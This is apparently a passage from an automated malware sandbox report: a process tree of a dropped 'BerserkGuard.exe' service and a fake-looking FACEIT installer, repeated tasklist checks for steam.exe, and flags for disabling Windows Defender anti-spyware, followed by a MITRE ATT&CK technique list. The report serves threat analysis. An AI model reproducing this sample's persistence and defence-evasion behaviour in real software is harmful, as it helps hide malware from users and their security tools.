        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1724
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4388
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2840
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4596
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2996
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5764
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5692
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1256
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1648
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6096
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5032
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2432
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5300
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4280
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3736
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6124
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1996
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1924
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1820
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4968
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4128
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2316
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2756
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3456
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1964
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2020
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2352
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5292
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2888
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2004
  - - C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
      "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1208
    - - C:\Users\Admin\AppData\Local\Temp\is-3RQ8J76C6L.tmp\FACEITInstaller_64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3RQ8J76C6L.tmp\FACEITInstaller_64.tmp" /SL5="$D007E,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3688

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:5072

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" repair
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:3568

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5600
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:3788

C:\Windows\System32\drivers\GameDriverX64.sys
C:\Windows\System32\drivers\GameDriverX64.sys
1⤵
- Executes dropped EXE
PID:5780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:3620

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:1868

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1408

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5932
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:1080

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" repair
1⤵
- Executes dropped EXE
PID:4368
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:4272

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" repair
1⤵
- Executes dropped EXE
PID:5432
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:5236

C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
"C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1724
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qfailure BerserkGuard
  2⤵
  - Launches sc.exe
  PID:2812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry